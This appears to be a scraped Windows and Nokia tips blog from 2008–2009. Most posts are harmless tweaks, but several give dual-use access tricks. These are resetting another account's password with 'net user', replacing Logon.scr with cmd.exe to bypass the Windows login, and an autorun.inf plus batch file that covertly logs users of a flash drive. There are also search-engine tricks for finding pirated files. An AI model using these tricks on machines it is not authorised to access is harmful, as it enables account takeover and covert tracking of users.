Hacking windows password is very easy and it does not need necessary program to change it.

Here's how to do it

1. Go to Start -> Run

2. Type "cmd" without quote and click OK.

3. Command prompt will appear. Type "net user" without qoute

4. Look for name with corresponding word like "SUPPORT_388945a0"

Example:
----------------------------------------------------
Administrator Guest
owner SUPPORT_388945a0
----------------------------------------------------

5. Type "net user owner *" and hit ENTER

6. Now it ask you to type a password to the user

7. Confirm the password and now command confirm successfully.

8. Type EXIT and hit ENTER

And now password change even without knowing the original password. This is useful if you forgot your password.

Windows Freecell Hidden Tricks [Games Tips and Cheats]

2009-06-06T14:24:00.005+08:00

This tricks will show you how to cheat and beat Windows Freecell.

1. Open Windows Freecell from Start -> Programs -> Games -> FreeCell

2. Press CTRL SHIFT and F10 simultaneously

3. New dialog box appear, select "ABORT"

4. Select a card and move it and you instantly win.

Or

1. You can also go to Game Tab

2. Select game and click yes

3. Type "-1" without quote and click ok

And all the card arrange in ascending order

Or

4. Type "-2" without quote and click ok

And all the card arrange in descending order

Or watch video HERE

Hidden Windows XP Movie [Windows XP Tricks]

2008-12-30T08:52:00.003+08:00

This is really cool Windows Xp Tricks you must try.

Do the following steps below

1. Click START -> RUN

2. Type Telnet

3. Click OK and command prompt will appear

4. Type "o" without quote and press ENTER

5. It should go down the line and say

6. Now type "towel.blinkenlights.nl" and press ENTER

or watch this clip CLICK HERE

Congratulation, and you're done! Enjoy watching!

Hidden secret codes for nokia phones [Mobile Phone Tips]

2008-12-18T07:55:00.002+08:00

Today i am posting some new and some old secret codes for nokia phones.

Note: “Some of these codes are really dangerous so please try them if you know about them or if you can deal with them.”

Codes and Action

*3370# >> It activates Enhanced Full Rate Codec (EFR).

#3370# >> Deactivate Enhanced Full Rate Codec (EFR).

*#9999# >> check nokia phone software version if *#0000# does not work.

*#2640# >> Displays the current phone security code.

*#30# >> Lets you see the private number.

*#06# >> For checking the International Mobile Equipment Identity in short imei no.

press and hold # >> switch between lines 1 and 2.

*#7780# >> Restore factory settings

Stay tuned if you want to know about more secret codes for nokia phones…

Track Flash Drive Users [Windows XP Tips]

2008-12-11T07:42:00.002+08:00

While there is no fool proof way of doing it, you could try a combination of autorun.inf files and batch file.

Create an autorun.inf file on the root of your flash drive with the following contents:

[autorun]

open=getusers.bat

action=Open folder to view files

Next, create a batch file called getusers.bat with the following contents:

@echo off

echo %username%>>users.txt

When a user puts your flash drive into their computer, it pop up with an autoplay option indicating that they are to click on the icon to open the folder to view files. A small black box will pop up briefly and then disappear. If you go into the root of the drive, you will find a new file called users.txt. If you open this file, it wil contain the user names of all the users who have accessed your drive by clicking on the icon.
This is, of course, not a fool proof method as all someone has to do is bypass the autoplay feature and their name is not recorded or they can delete the users.txt file but this is at least a proof of concept.

Speed up your Firefox 20x Faster [Internet Tips]

2008-12-11T07:26:00.002+08:00

1. Type "about:config" into the address bar and hit enter. Scroll down and look for the following entries:

2. Alter the entries as follows:

Set "network.http.pipelining" to "true"

Set "network.http.proxy.pipelining" to "true"

set "network.http.pipelining.maxrequests" to some number like 30. This means it will make 30 requests at once.

3. Lastly right-click anywhere and select New-> Integer. Name it "nglayout.initialpaint.delay" and set its value to "0". This value is the amount of time the browser waits before it acts on information it recieves.

Download Free Nokia Internet Radio [Mobile Phone Tips]

2008-11-28T10:41:00.004+08:00

Just along with the release of nokia channels, nokia’s software lab has come up with its new application called Nokia Internet Radio. Nokia Internet Radio is actually a very simple infact I can say the simplest internet radio application which full functionality. It’s not necessary for the applications to be flashy to provide functionality. Sometimes the simplest of the things are best ones.

Features of Nokia Internet Radio:

1. Nokia Internet Radio currently provides support to mp3 streaming and the developers are working on to provide more support.

2. You can browse through all the radio station via Nokia Internet Radio’s central management systems by genre, popularity etc.

3. If you like any radio station then you can also add that particular radio station to your favourites and then access it from your favourites menu.

4. Nokia Internet Radio also supports the sound fading option which means that the sound of the previous radio station will gradually fall and the sound of the new station will increase when you switch to a new station.

5. Moreover the code is so very well written that the application functions good under any circumstances.
One thing you need to take care is that listening to radio via grps or your mobile internet may turn out be costly unless you have unlimited usage plans. So decide before you start using this nokia radio application.

Download Here

Change your MAC address in Windows [Windows XP Configuration]

2008-11-28T10:29:00.003+08:00

Despite how it sounds, the MAC address has nothing to do with Apple, Macs, or Macintoshes.

A MAC address is just a series of numbers and letters that identifies your Network Interface Card (NIC), which you are probably using to connect to the Internet.There are several programs out there that let you change your MAC address, but most aren’t free.

SimpleMAC is one of those few freeware programs that lets you quickly change your MAC address. Once you start it, you should see something like this:

Select your network card. The series of numbers and letters in the lower left identify your MAC address. You can replace these with a sequence like 00DEADBEEF01. Enter it in two at a time.

Click Set! to change your MAC address. If you want to restore your original address, click Reset.

Download simplemac

Disable Right click functionality on your PC [Windows XP Configuration]

2008-11-14T22:13:00.003+08:00

Follow the given steps to disable the right click functionality on desktop:
To use this feature, you will need to be logged into your computer with administrative rights.

1. Click Start button and type regedit in Run option then press Enter for next.

2. Here locate the location to:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

3. Here in right side panel, right click to create a new DWORD value with the name NoViewContextMenu (it is case sensitive), then assign number 1 in value data box.

4. Now close the registry editor and restart your computer after any changes to go into effect.

But next time, if you want to enable right click functionality on desktop then simply change the value of data box or delete the NoViewContextMenu DWORD item.

Avoid Password Hacking [Windows XP Security]

2008-11-03T04:16:00.004+08:00

Whenever you set up an account in an Internet site, you are often required to create a username and provide a password. In other cases, a computer generated password is created for you by the Internet website which is sent to your confirmation email address. Once you confirm your email, you are then required to change the password immediately. Despite the assurance provided by Internet websites that the personal information provided is secure and would not be released to other people, there are a number of individuals who access the Internet for the sole purpose of trying to access information of those who access a particular website. These individuals have been called “hackers”

The goal of each and every hacker is to attain personal information, primarily your username and password in order to access your account and acquire other personal information that they may use for their own benefit. As such, it is very important to make sure that the password that you provide in a particular account you create is easy enough for you to remember however difficult enough for another individual to easily decipher and prevent your account from being hacked.

Here are a few tips you can do to ensure that your password is strong enough to resist any form of hacking to occur.

Do not use personal information

You may be surprise to know that some of those that try to access your account are those people you actually know. It is for this reason that it is highly recommended not to use any personal information such as your birthday, social security number, and the like as your password. This would also protect you and your accounts in the event that your personal belongings are misplaced or have been stolen. The same holds true with the answers to password retrieval information.

Be creative in your password

Internet websites allow you to use a combination of letters, numbers and special characters for the creation of your password. Make sure that your password contains a bit of these to increase its strength. It is also highly advisable not to limit yourself with using all capital letters or all small letters for the creation of your password. In fact, the strongest passwords utilize a combination of capital and small letters, numbers and special characters.

Do not limit your password length to the minimum

Internet password hackers work using the concept of probability in order to hack your account. Oftentimes, they would begin doing combinations using the minimum number of characters permitted by an Internet website for password creation. By using a password longer than the minimum amount of characters increases the number of combinations that a hacker would need to do in order to access your password.

Change your password regularly

Do not stick to one password for a long span of time. This would increase the chances of Internet hackers to decipher the password you have used through trying and testing various combinations. While the standard time to change your password would be every two months or so, it is also a good idea to change your password immediately after allowing a friend or a relative to access your account with your permission to prevent this from being accessed in the future without your consent.

Disable Autorun Windows XP [Windows XP Configuration]

2008-10-28T04:32:00.001+08:00

Do this very important!!

Most viruses uses the autorun.inf to get itself infected on your computer. Autorun.inf is a small file that instructs the windows os to do when the CD is inserted into the computer. In genuine cases , it runs a setup in case of a Software Installation Disc. In the other case it may run a virus and gets your system infected. All you got to do to get the virus is put the CD. Same is the case for Mass Storage Devices like Memory Sticks, Pen Drives, Flash Drives etc.

So Disable your Autorun now

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Cdrom\Autorun Change from 1 to 0

To disable Autoplay of all drives

1. Start -> Run -> gpedit.msc

2. Enable : Computer Configuration -> Administrative Templates -> System -> Turn Off Autoplay

Type With Mouse When Keyboard Doesnt Work Properly [Windows XP Tips]

2008-10-28T03:53:00.002+08:00

In midst of typing something you find that the keyboard is not functioning properly, there is a way out before you can replace your keyboard, here it is .. this is only for cases when you find the keys hard or keyboard giving some problems.

Just Simple go to Run Command and type OSK and start typing with Mouse...

Enjoy..

Split or divide your desktop screen into multiple parts [Free Download]

2008-10-21T04:33:00.004+08:00

If you have a high resolution LCD flat panel at home and you are not using any kind of screen splitting application, then you are wasting your screen real estate big time! The best thing about having a high-end LCD screen is that you can see multiple windows at the same time, instead of just one active program at a time.

Of course, you can always switch between programs by using ALT + TAB or by simply clicking on the program in the taskbar, but there are many times when you need to be able to see multiple programs at the same time. There are two cool freeware apps you can use to divide or split your screen into multiple parts and therefore work more efficiently.

Earlier I had written about a program called SplitView, which let you split your screen, but it cost $30! But why pay, when you can get something better for free!

WinSplit
Revolution is a very small utility that helps to organize all your open windows by tilting, resizing and positioning them so that they efficiently use all the space on your desktop.

Using WinSplit Revolution, you can quickly split your screen into two halves, thirds, fourths, etc. You can resize any window and move it to the left half of the screen, the top, the bottom, a corner, etc.

Then using either a virtual number pad or pre-defined hotkeys, you can quickly bring up a window to full-screen or switch to another window.

The program is nicely implemented and has a good number of useful features:

- Automatically handles window resizing, moving, closing, etc
- Quick access via global hotkeys and virtual numpad
- Automatic startup and update
- Drag and drop windows into different sections
- Fusion between two windows (splits two program vertically and allows you to use a
middle bar to adjust the size)
- Mosaic mode – Splits the screen into 9 equal parts and will place one window into
each section. If you have less than 9 windows open, it will adjust the size of
the mosaic to make the windows larger.

GridVista
is the second program that allows you to divide or split your Windows desktop screen into multiple parts. I mentioned WinSplit first because it seems to have more features than GridVista.

You can again use it to split your screen into halves, thirds, etc just like WinSplit, but it does not have a virtual keypad. Simply drag a window into any of the sections and it will maximize to the full size of that section.

You can then maximize any of the sections to full screen either via clicking with the mouse or via hotkey. So if you have a large LCD monitor, over 20” or so, then you should definitely check out either of these programs.

Overall, both programs work well in XP and in Vista, so you can play around with both and see which one works out better for you. Enjoy!

5310 Nokia XpressMusic [Mobile Phone Tips]

2008-10-12T03:29:00.002+08:00

Howdy,XpressMusic Lovers! Tips dan Tricks for your phone.

Nokia 5300 is a great music phone, but the battery is utterly short. So we’ve come up with this tips and tricks that can help you save some juice out of your phone. It’s also covers tips to maximize your phone functionality and usability.

Camera Tips: [Updated]

1. Always set the NIGHT MODE when shooting indoors.

2. Set the White Balance to Daylight - When outdoors (Day) Fluorescent - When indoors

3. For acceptable shots, set the resolution to 800 x 600.

NOTE: Using the camera will put up a big drain on your battery.

Battery Tips: [Updated]

- Don’t always use the camera. Only when needed.

- Set Packet Data Connection to When Needed. Setting can be found on Settings -> Connectivity->Packet Data

- Always turn on the Power Saver Feature.

- Turn off your Bluetooth when not in use.

- Turn off screensavers

- Go to Settings > Phone > Operator Selection > Manual and select your operator. This way the phone doesn’t search for a signal all the time and drain the battery out.(Only advisable for network with good signal.)

- Always make sure that the phone has an adequate signal. (If the phone is searching for signals, it drains a big part of the battery)

- I know its fun to play games, but it can decrease your battery so fast.

- Don’t discharge the battery frequently, otherwise the battery will decrease it’s performance.

- Battery maintenance, it is recommended to discharge the battery every 30 charge cycles or once a month.

- The best of all, carry an extra battery if you’re a heavy user.

- If you have some tips other than the above mentioned, just enter it at the comment box.

How to Create Playlist on Nokia 5300, 5310, and 5610
It’s possible to create a playlist straight on your Nokia 5300, 5310 and 5610. I’ll share this little hack for everyone and here’s the trick.

Basically,
- You start by emptying the “Favorites” tracklist.
- Then go to the music library, and start adding songs in the order you want them (go to the song, and choose ‘add to favorites’ under Options).
- When all songs are added, go back to Favorites tracklist, and start to play it.
- Then finally, in the ‘now playing’ screen, choose Options, show tracks, again ‘Options/save as tracklist’, and give it a name.

Really a long process but a useful hack

Google Talk Tips and Tricks [Internet Tips]

2008-10-12T03:13:00.001+08:00

Google Talk Tips and Tricks
Some people say Google Talk is nice because of its minimalistic design, but they coudn't use an Instant Messenger that doesn't have smileys and font customization. Here are some tips that will make your work with Google Talk better.

Keyboard shortcuts

- CTRL + Mousewheel up/down: Change the font size in a conversation window.

- CTRL + E: Center text

- CTRL + R: Right justify text

- CTRL + L or CTRL+J: Left justify text

- F9: Open Gmail to send an email to the person you talk to

- F11: Start a call

- F12: Stop the current call

- ESC: Close the current window

Conversation

- Some smileys are converted by Google Talk: :-| :-O :-x :-P :-D ;-) :-( :-) B-) :'( :| :O :x :P :D :) :( :)

- To write bold text, type *your gtalk message*

- To write italic text, type _your gtalk message_

Startup parameters (go to Start/Run and type "c:\Program Files\Google\Google Talk\googletalk.exe" /one_parameter_from_the_list_below)

* /nomutex: allows you to open more than one instance of Google Talk.

* /register: write Google Talk settings in the registry.

* /checkupdate: check for new version.

* /factoryreset: revert to default settings.

* /mailto email@gmail.com: send an email with Gmail.

* /diag: start Google Talk in diagnostic mode.

Make your Internet Explorer go as fast as Firefox [Internet Tips]

2008-10-12T02:12:00.002+08:00

For IE lovers who wants to speed up browsing as fast as Firefox

1. click start -> run

2. type regedit -> enter

3. browse folder HKEY_CURRENT_USER\Software\microsoft\Windows\CurrentVersion\Internet

4. right click @ windows right -> New -> DWORD

5. type MaxConnectionsPerServer > u can set value (the more higher the no, the more good speed u get, eg : 95) by right clicking on MaxConnectionPerServer -> Modify.

6. create another DWORD >type MaxConnectionsPer1_0Server

7. then put a high value as mentioned above

8. then, restart IE ... your finished.

Speed Up Your PC in just one Click [Windows XP Configuration]

2008-10-05T22:32:00.006+08:00

The script below will disable the services listed and should be run at your own risk. Disabling some of the services may break your system or result in a decreased functionality of your system.

I hope this helps someone, I've used it so much to help home users. This is a script to disable a lot of services that common home users won't need. This is only for those people who have one pc that doesn't need to be networked to other pcs.

To use, copy all information and paste into notepad. Save the file as "turn off services.vbs" and then double-click the file to run it. Give it a minute or two, then reboot. You should see the benefits quickly.

CAUTION: Run with care. I accept no responsibility for any problems. To enable any service that was turned off, click start/run/services.msc Any service that was needed, right click on it and choose "automatic" instead of disabled.

'--------------------------------------------------------------------------------------------------

strComputer = "."

Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")

Set colServiceList = objWMIService.ExecQuery _

("Select * from Win32_Service where Name = 'Alerter'")

For Each objService in colServiceList

If objService.State = "Running" Then

objService.StopService()

Wscript.Sleep 5000

End If

errReturnCode = objService.ChangeStartMode("Disabled")  

Next

Set colServiceList = objWMIService.ExecQuery _

("Select * from Win32_Service where Name = 'FastUserSwitchingcompatibility'")

For Each objService in colServiceList

If objService.State = "Running" Then

objService.StopService()

Wscript.Sleep 5000

End If

errReturnCode = objService.ChangeStartMode("Disabled")  

Next

Set colServiceList = objWMIService.ExecQuery _

("Select * from Win32_Service where Name = 'helpsvc'")

For Each objService in colServiceList

If objService.State = "Running" Then

objService.StopService()

Wscript.Sleep 5000

End If

errReturnCode = objService.ChangeStartMode("Disabled")  

Next

Set colServiceList = objWMIService.ExecQuery _

("Select * from Win32_Service where Name = 'policyagent'")

For Each objService in colServiceList

If objService.State = "Running" Then

objService.StopService()

Wscript.Sleep 5000

End If

errReturnCode = objService.ChangeStartMode("Disabled")  

Next

strComputer = "."

Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")

Set colServiceList = objWMIService.ExecQuery _

("Select * from Win32_Service where Name = 'Remoteregistry'")

For Each objService in colServiceList

If objService.State = "Running" Then

objService.StopService()

Wscript.Sleep 5000

End If

errReturnCode = objService.ChangeStartMode("Disabled")  

Next

Set colServiceList = objWMIService.ExecQuery _

("Select * from Win32_Service where Name = 'seclogon'")

For Each objService in colServiceList

If objService.State = "Running" Then

objService.StopService()

Wscript.Sleep 5000

End If

errReturnCode = objService.ChangeStartMode("Disabled")  

Next

Set colServiceList = objWMIService.ExecQuery _

("Select * from Win32_Service where Name = 'lanmanserver'")

For Each objService in colServiceList

If objService.State = "Running" Then

objService.StopService()

Wscript.Sleep 5000

End If

errReturnCode = objService.ChangeStartMode("Disabled")  

Next

strComputer = "."

Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")

Set colServiceList = objWMIService.ExecQuery _

("Select * from Win32_Service where Name = 'Alerter'")

For Each objService in colServiceList

If objService.State = "Running" Then

objService.StopService()

Wscript.Sleep 5000

End If

errReturnCode = objService.ChangeStartMode("Disabled")  

Next

Set colServiceList = objWMIService.ExecQuery _

("Select * from Win32_Service where Name = 'lmhosts'")

For Each objService in colServiceList

If objService.State = "Running" Then

objService.StopService()

Wscript.Sleep 5000

End If

errReturnCode = objService.ChangeStartMode("Disabled")  

Next

Set colServiceList = objWMIService.ExecQuery _

("Select * from Win32_Service where Name = 'tapisvr'")

For Each objService in colServiceList

If objService.State = "Running" Then

objService.StopService()

Wscript.Sleep 5000

End If

errReturnCode = objService.ChangeStartMode("Disabled")  

Next

Set colServiceList = objWMIService.ExecQuery _

("Select * from Win32_Service where Name = 'tlntsvr'")

For Each objService in colServiceList

If objService.State = "Running" Then

objService.StopService()

Wscript.Sleep 5000

End If

errReturnCode = objService.ChangeStartMode("Disabled")  

Next

Set colServiceList = objWMIService.ExecQuery _

("Select * from Win32_Service where Name = 'termservice'")

For Each objService in colServiceList

If objService.State = "Running" Then

objService.StopService()

Wscript.Sleep 5000

End If

errReturnCode = objService.ChangeStartMode("Disabled")  

Next

Set colServiceList = objWMIService.ExecQuery _

("Select * from Win32_Service where Name = 'w32time'")

For Each objService in colServiceList

If objService.State = "Running" Then

objService.StopService()

Wscript.Sleep 5000

End If

errReturnCode = objService.ChangeStartMode("Disabled")  

Next

Set colServiceList = objWMIService.ExecQuery _

("Select * from Win32_Service where Name = 'lanmanworkstation'")

For Each objService in colServiceList

If objService.State = "Running" Then

objService.StopService()

Wscript.Sleep 5000

End If

errReturnCode = objService.ChangeStartMode("Disabled")  

Next

Add Your Name Beside The Time In The Taskbar [Windows XP Tricks]

2008-09-29T08:06:00.002+08:00

Here is a trick to add up your name in place of AM and PM beside time and make yourself to feel proud among your group of friends.

Its simple

1. Start -> Control Panel -> Regional and Language Option ->

2. Customize (beside English US) -> Go to TIME tab -> Change AM symbol and PM symbol from AM and PM to your name ->Apply -> Ok ...IS it changed ???

Might be not ...

3. Now go to time in taskbar and Double Click it to open "Date and time property" ...
4. Look place where time changes in digital form i.e. 02:47:52 AM ,
5. Click to arrow to change the AM or PM by selecting and press arrow.

It will Show your name or name that was entered by you,

6. Apply -> OK.

Retrieve Forgotten Password [Windows XP Security]

2008-09-25T02:33:00.003+08:00

Have you forgotten your password and you don't want to re-format your computer ? Well here's what you do.. Please note that this only works on Windows XP!

PLEASE READ CAREFULLY !

1. Restart you computer

2. When booting, press F8 and select "Safe Mode"

3. After getting to the user menu. Click on a user and this time it will not ask you for a password

4. Go to Start>Run and type CMD

5. At command prompt type in cd C:\Windows\System32, I am assuming C is your System/Windows Drive

6. For safety purposes first make a backup of your Logon.Scr file.. You can do this by typing in Copy to Logon.scr to Logon.bak

7. Then type copy CMD.EXE Logon.scr

8. Then type this command, I will assume that you want to set Administrator's password to MyNewPass

9. Now, type this in (I am assuming that you are still in the directory C:\Windows\System32): , net user administrator MyNewPass

10. You will get a message saying that it was successful, this means Administrator's new password is MyNewPass

11. Restart the PC and you will login as Administrator (or whatever you chose to reset) with your chosen password and Enjoy!

What is Double Password? [Windows XP Security]

2008-09-20T19:56:00.003+08:00

These articles are intended for IT Professionals and systems administrators with experience servicing computer hardware. Please do not attempt any of these procedures if you are unfamiliar with computer hardware, and please use this information responsibly. We are not responsible for the use or misuse of this material, including loss of data, damage to hardware, or personal injury.The article is soley for educational purpose only.

Strong passwords should have a significant length and cannot contain normal words.
Only random digits and letters of different case. Such passwords are extremely hard to remember and it takes time to enter. But, even strong passwords have their weaknesses. When you type a password, it can be intercepted by a spy program that logs all your keystrokes. Others can see what you type (even if the password field on the screen is masked, the password can be read by buttons you hit on your keyboard.)

Until now, the only solution was to buy a secure token.
A secure token is a hardware key that is used instead of or in addition to your normal password authentication. There are two main problems with the hardware solution, though. First, it is expensive. And second, you can use them only with software that has built-in support for this method of authentication.

But, from now on, you can turn any USB flash drive into a secure token!
No need to purchase an additional expensive device. All you need is about 2 megabytes of free space on your flash drive or other USB gadget, such as an MP3 player, PDA or even a USB-pluggable mobile handset.

How does it work?
Our software, Double Password, installs onto your flash drive. When you type a password, the program intercepts it and converts it into a super-strong password string on-the-fly. You can use simple, easy-to-remember passwords without the risk of being cracked.

Another benefit of using Double Password is that nobody can steal your passwords. Spy programs are useless. Even if someone gets the "weak" password that you type on the keyboard, it means nothing. This password will only work when your USB flash is inserted.

While typical hardware locks will work only with software that supports secure tokens, Double Password works with any software. It simply substitutes your weak password with a strong one.

Double Password can be effectively used to securely lock your Windows account, to protect your laptop and to bring a new level of security to all software that uses password authentication.

Download Double Password For Free

Flash drive Tweaking - Autorun.inf [Windows XP Configuration]

2008-09-17T17:19:00.005+08:00

The autorun.inf file is the key to getting your USB drive (or CD-ROM drive, for that matter) to perform certain actions automatically and customize it’s look in My Computer. The purpose of this article is to shed some light on how this can be done.

Autorun.inf Structure
The autorun.inf file is a simple text file that can be opened up in any text editor (e.g. notepad). It always starts with a section header of:

[autorun]

Below this header is a list of different options. Each of these options is in the following format:

option=value

where

option is the option that you want to set and value is the value that you are setting for that option. So, if you had an option foo and you wanted to be set to bar, then you would enter:

foo=bar

(Do not use foo=bar in your autorun.inf file as it is only an example, not a real option setting.)

That is all there really is to understand about the structure of an autorun.inf file. On to doing some actual cool stuff with it!

Setting a Custom Icon
To create a custom icon for your USB drive, use the icon option. Set it to the name of the icon file.

Note: Since drive letters can change for USB drives, the file path is relative to the root of the drive. This means that if your USB drive is presently mounted on U: and your icon is located at U:\Icons\MyIcon.ico, then you would enter \Icons\MyIcon.ico for the value of this option.

For example, if you had an icon on the root of the USB drive called coffeecup.ico and you wanted this to be the icon that showed up for the USB drive, you would enter:

icon=coffeecup.ico

You are not limited to .ico files. If, for example, you have an executable with a nice icon, you can specify it as the icon file. For example:

icon=DCoTopen.exe

This is valid as long as DCoTopen.exe is available on the root of the USB drive.

Some files have more than one icon embedded in them. If this is the case, you can select which icon to use by specifing the index number after the file name. For example:

icon=iconlib.dll,2

This will use the second icon in the iconlib.dll file.

Naming Your USB Drive
If you would like your USB drive to display a specific name othr than the drive label created when it is formatted, use the label option. For example, if I wanted to call my drive DCoT Drive, I would add this to my autorun.inf file:

label=DCoT Drive

Now, when you look at your USB drive in My Computer, it will say DCoT Drive by the drive letter.

Setting AutoPlay Options
AutoPlay is a relatively new function of Windows XP. It allows you to set up what file is run when the USB drive is plugged into the computer and the message that you are prompted with. There are two options that work in conjunction with AutoPlay. The first is open. It specifies the program that you can run automatically with AutoPlay. So, if we wanted to run a program called DCoTopen.exe, you would add the this to your autorun.inf file:

open=DCoTopen.exe

The second option that we add is the message the user is prompted with. To set this, we use the action option. If we want the message to say DCoT Open Program, add the following to autorun.inf:

action=DCoT Open Program

Once you have added this information, AutoPlay should look something like this:

Adding Context Menu Items
There are certain basic options such as Open and Explore that are available when you right click on a USB drive. But, wouldn’t it be cool to add your own? You can using a couple of lines in the autorun.inf file.

The first thing that we need to do is create an action, give it a name, and a message. We do all of this using the shell\verb option. For example, let’s say that we would like to create an action called lost. It does not matter what the actin is called. It can be anything you want. We would also like to show the message Help! I’m Lost! in the context menu. We would simply add this line to autorun.inf:

shell\lost=Help! I'm Lost!

This will display Help! I’m Lost! in the context menu so that you can click on it. But, it doesn’t know what to do when you click on it. Tell the system by using shell\verb\command option. In our example, we want to run the Lost.exe application. Adding this line will do the trick:

shell\lost\command=Lost.exe

You can add as many of these line pairs as you want to make the context menu as custom as you want.

Changing Default Action
When you double click on your USB drive, by default it will open up the drive so that you can browse through the files. Often, it is advantageous to perform some other action when the user double clicks the USB drive icon. You do this with the shell option. If we wanted to run the Lost.exe program from the previous section automatically when we double clicked on the USB drive, we would add this line:

shell=lost

because lost is the name of the action that was specified in the earlier lines.

Viewing a File
If you wanted to view a file on your USB drive in the default application instead of running a program on the drive, you can substitute the open option for the shellexecute option. For example, if you wanted to open up a website called, oh, I don’t know, say http://www.DailyCupOfTech.com in the default web browser, you could user the following:

shellexecute=http://www.DailyCupOfTech.com

This will work for any file. This is the equivalent of using Start - Run… and then typing in a file name and clicking OK.

School’s Out, Time To Play!
That is about all there is to customizing the autorun.ing file. Now that you know what you are doing, it’s time to start playing! I have created the Autorun Dabbler’s Toolkit that you can play with.

Download the zip file and extract the contents to the root of an empty USB drive. You can now edit the autorun.inf and get it to do different things.

Make Your PC Talk [Windows XP Tricks]

2008-09-12T01:36:00.003+08:00

Open a text file in notepad and write:

Dim msg, sapi

msg=InputBox("Enter your text","Talk it")

Set sapi=CreateObject("sapi.spvoice")

sapi.Speak msg

Save the file with a (*.vbs) extension, it will create a VBScript File.
It will prompt you for a text when you open the file, input the text and press ok."

you will hear what you typed. This works in xp,may be in vista also.

Get Free WiFi Access Anywhere and Anytime [Technology Tips]

2008-09-10T18:15:00.003+08:00

Requirements:

Laptop Computer with wireless capability
Easy Wifi Radar Software [Download Here]

Some things in life should be free. Easy WiFi Radar helps you find and connect to open wireless access points with a single mouseclick. It's WiFi for Dummies. This video shows how you can use Easy WiFi Radar to get wireless broadband connections for free.

If you have ever tried to use Windows XP's built-in connection manager, you know what a hassle it can be to quickly check your mail or browse the web on the go. You need to browse through a list of access points, find one that you can connect to, manually try to connect to it, confirm the connection and then wait. Even if it says that's it connected, often it doesn't open a webpage or you mail will stall.

Easy WiFi Radar automates all of this. It's main goal is to let you get your mail or surf the web without having to go through all of the connection trouble, and without having to pull your creditcard. Just run it and it'll connect you for FREE to the internet. It doesn't get easier than this.

To setup, watch this video

Utilizing Search Engines [Internet Tips]

2008-09-09T08:09:00.002+08:00

So much information is on the web, its mind boggling. Thankfully we have search engines to sift through them and categorize them for us. Unfortunately, there is still so much info that even with these search engines, its often a painstakingly slow process (something comparable to death for a hacker) to find exactly what you're looking for.

Lets get right into it.
I use google.com as my primary search engine because it presently tops the charts as far as
the sites that it indexes which means more pertinent info per search.

1. Page translation.
Just because someone speaks another language doesn't mean they dont have anything useful to say. I use translation tools like the ones found and to translate a few key words I am searching for. Be specific and creative because these tools arent the most accurate things on the planet.

2. Directories.
These days everything is about $$$. We have to deal/w SEO (search engine optimization) which seems like a good idea on paper until you do a search for toys and get 5 pornsites in the first 10 results. Using a sites directory will eliminate that. You can narrow your search down easily by looking for the info in specific catagories. (PS google DOES have directories, they're at: directory.google.com)

3. Here are some tips that google refers to as "advanced"
A. "xxxx" / will look for the exact phrase. (google isnt case sensitive)
B. -x / will search for something excluding a certain term
C. filetype:xxx / searches for a particular file extention (exe, mp3, etc)
D. -filetype:xxx / excludes a particular file extention
E. allinurl:x / term in the url
F. allintext:x / terms in the text of the page
G. allintitle:x / terms in the html title of that page
H. allinanchor:x / terms in the links

4. OR
Self explanatory, one or the other... (ie: binder OR joiner)

5. ~X
Synonyms/similar terms (in case you can't think of any yourself)

6. Numbers in a range.
Lets say you're looking for an mp3 player but only want to spend up to $90. Why swim through all the others? MP3 player $0..$90 The 2 periods will set a numeric range to search between. This also works with dates, weights, etc

7. +
Ever type in a search and see something like this:
"The following words are very common and were not included in your search:"
Well, what if those common words are important in your search? You can force google to search through even the common terms by putting a + in front of the denied word.

8. Preferences
It amazes me when I use other peoples PCs that they dont have their google search preferences saved. When you use google as much as I do, who can afford to not have preferences? They're located on the right of the search box, and have several options, though I only find 2 applicable for myself...
A. Open results in new browser
B. Display 10-100 results per page. (I currently use 50 per page, but thats a resolution preference, and 5X's the default)

9. *
Wildcard searches. Great when applied to a previously mentioned method. If you only know the name of a prog, or are looking for ALL of a particular file (ie. you're DLing tunes) something like *.mp3 would list every mp3.

10. Ever see this?
"In order to show you the most relevant results, we have omitted some entries very similar to the X already displayed. If you like, you can repeat the search with the omitted results included." The answer is YES. yes yes yes. Did I mention yes? I meant to.

11. Search EVERYWHERE
Use the engine to its fullest. If you dont find your answer in the web section, try the group section. Hell, try a whole different search engine. Dont limit yourself, because sometimes engines seem to intentionally leave results out.
ex. use google, yahoo, and altavista. search the same terms... pretty close, right? Now search for disney death. Funny, altavista has plenty of disney, but no death...hmmm.

If you've read this far into this tutorial without saying, "Great, a guy that copied a few google help pages and thinks its useful info" then I will show you WHY (besides accuracy, speed, and consistancy finding info on ANYTHING) its nice to know how a search engine works. You combine it/w your knowledge of other protocol.

Example:
Want free music? Free games? Free software? Free movies? God bless FTP! Try this search:
intitle:"Index of music" "rolling stones" mp3
Substitute rolling stones/w your favorite band. No? Try the song name, or another file format. Play with it. Assuming SOMEONE made an FTP and uploaded it, you'll find it.

For example....I wanted to find some Sepultura. If you never heard them before, they're a Brazilian heavy metal band that kicks ass. I started with this:

intitle:"Index of music" "Sepultura" mp3 <-- nothing
intitle:"Index of música" "Sepultura" mp3 <-- nothing
intitle:"Index of musica" "Sepultura" mp3 <-- not good enough
intitle:"Index of music" "Sepultura" * <-- found great stuff, but not enough Sepultura

At this point it occurs to me that I may be missing something, so I try:

intitle:"index of *" "sepultura" mp3 <-- BANG!
(and thats without searching for spelling errors)
Also try inurl:ftp

I find that * works better for me than trying to guess other peoples mis-spellings.

The same method applies for ebooks, games, movies, SW, anything that may be on an FTP site.

I hope you enjoyed this tutorial, and I saw that recently a book and an article was written on the very same topic. I havn't read them as of yet, but check em out, and get back to me if you feel I missed something important and should include anything else.

intitle:"index of" "google hacks" ebook

Ps. I've said it before, I'll say it again... BE CREATIVE.
You'll be surprised what you can find.

Create High Quality MP3s [Windows XP Tips]

2008-09-09T07:38:00.005+08:00

Step 1: Install EAC
Using a good ripper to extract audio from the CD is just as important as the MP3 encoder you use, if not more so. There is only one ripper you should consider and that is Exact Audio Copy. The reason for this is that EAC uses a 'secure mode' to verify that your audio extractions are 100% exact copies of the original CD. So go ahead and download EAC and install it.

Step 2: Install LAME MP3 encoder
